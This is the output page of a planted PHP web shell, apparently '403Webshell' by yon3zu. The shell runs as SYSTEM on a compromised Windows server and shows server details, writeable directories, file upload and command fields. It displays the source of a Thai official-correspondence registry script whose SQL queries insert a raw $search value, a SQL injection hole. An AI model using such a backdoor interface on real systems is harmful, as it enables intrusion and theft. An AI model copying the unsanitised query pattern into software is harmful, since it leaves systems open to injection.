403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myoffice/2566/modules_22222/tkk2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myoffice/2566/modules_22222/tkk2/printtabain.php
<?
CheckUser($_SESSION['user_user'], $_SESSION['user_pwd']);
?>
<SCRIPT LANGUAGE="JavaScript">
function printPage() {
if (window.print)
window.print()
else
alert("Sorry, your browser doesn't support this feature.");
}
</SCRIPT>
<link href="style_web.css" rel="stylesheet" type="text/css">
 <TABLE width=100%  border="0" align="left" cellpadding="0" cellspacing="0">
    <TR>
		<TD Valign="top" >
<form name="form3" method="post" action="?name=tkk2&file=tabainrub">
<table width=100%  border="0" align="left" cellpadding="0" cellspacing="0">
    <tr class="unnamed1">
	<td align="left" width="600" class="unnamed2"><A HREF="?name=tkk2&file=tabainrub">&nbsp;&nbsp;<img src="images/back.png" align="absmiddle" ></A>&nbsp;&nbsp;<B>ทะเบียนรับหนังสือราชการ <?=WEB_AREA;?></B></td>
	<td width="200" class="unnamed2"><div align="right"><B>&nbsp;&nbsp;</B> </div></td>
	<td align="right" width="150"></td>
	<td width="80"><div align="right"><input type="button" name="Button" value="  พิมพ์เอกสาร " onclick="javascript:this.style.display='none';printPage();"></div></td>
    </tr>
  </table>
  </form>
</td>
</tr>
<tr>
<td Valign="top" >
<table width=100%  height=500   border="0" align="left" cellpadding="0" cellspacing="0">
    <tr >
		<td Valign="top" >
<table width="100%"   border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#999999" bordercolordark="#FFFFFF">
	<tr height=25 bgcolor="#336633">
		<td width="60"align="center"><font color="#FFFFFF"><B>เลขรับ</B></font></td>
		<td width="140"align="center"><font color="#FFFFFF"><B>เลขหนังสือ</B></font></td>
		<td width="320"align="center"><font color="#FFFFFF"><B>เรื่อง</B></font></td>
		<td width="120"align="center"><font color="#FFFFFF"><B>วัน-เดือน-ปี</B></font></td>
		<td width="200"align="center"><font color="#FFFFFF"><B>จาก</B></font></td>
		<td width="120"align="center"><font color="#FFFFFF"><B>ถึง</B></font></td>
		<td width="100"align="center"><font color="#FFFFFF"><B>หมายเหตุ</B></font></td>
	</tr>
<?
//แสดงข่าวสาร/ประชาสัมพันธ์ 
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$limit = 20 ;
$SUMPAGE = $db->num_rows(TB_TKK2,"id","$SQLwhere  tabain like '%$search%' or topic like '%$search%' ");
$page=$_GET[page];
if (empty($page)){
	$page=1;
}
$rt = $SUMPAGE%$limit ;
$totalpage = ($rt!=0) ? floor($SUMPAGE/$limit)+1 : floor($SUMPAGE/$limit); 
$goto = ($page-1)*$limit ;

$res[tkk2] = $db->select_query("SELECT * FROM ".TB_TKK2." WHERE  tabain like '%$search%' or topic like '%$search%' ORDER BY id DESC LIMIT $goto, $limit ");
$count=0;
while($arr[tkk2] = $db->fetch($res[tkk2])){

$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE id='".$arr[tkk2][category]."'  ");
$arr[user] = $db->fetch($res[user]);
 ?> 
 <tr bgcolor="#FFFFFF">
	<td  align="left"valign="top">&nbsp;<?echo thainumDigit($arr[tkk2][id]); ?></td>
	<td  align="left"valign="top">&nbsp;<?echo thainumDigit($arr[tkk2][tabain]); ?></td>
	<td  align="left"valign="top">&nbsp;<?echo thainumDigit($arr[tkk2][topic]); ?></td>
	<td align="center"valign="top">	<?echo thainumDigit(thai_date_short($arr[tkk2][post_date],'',''));?></td>
	<td align="left"valign="top">&nbsp;<? echo thainumDigit($arr[tkk2][school]); ?></td>
	<td align="left"valign="top">&nbsp; <?=thainumDigit(WEB_AREA);?></td>
	<td align="center"valign="top"><A HREF="popup.php?name=tkk2&file=readtkk2&id=<? echo $arr[tkk2][id]; ?> " onclick="return hs.htmlExpand(this, { contentId: 'highslide-html', objectType: 'iframe', objectWidth: 800, objectHeight: 600} )" class="highslide"></td>
  </tr>
                                          <tr>
                                            <td colspan="7" height="1" class="dotline"></td>
                                          </tr>
<?
}
?>
</table>	
				<?
				SplitPage($page,$totalpage,"?name=tkk2&file=tabainrub&search=$search");
				echo $ShowSumPages ;
				echo $ShowPages ;
				?>
		  </TD>
        </TR>
      </TBODY>
    </TABLE>
		  </TD>
        </TR>
      </TBODY>
    </TABLE>

Youez - 2016 - github.com/yon3zu
LinuXploit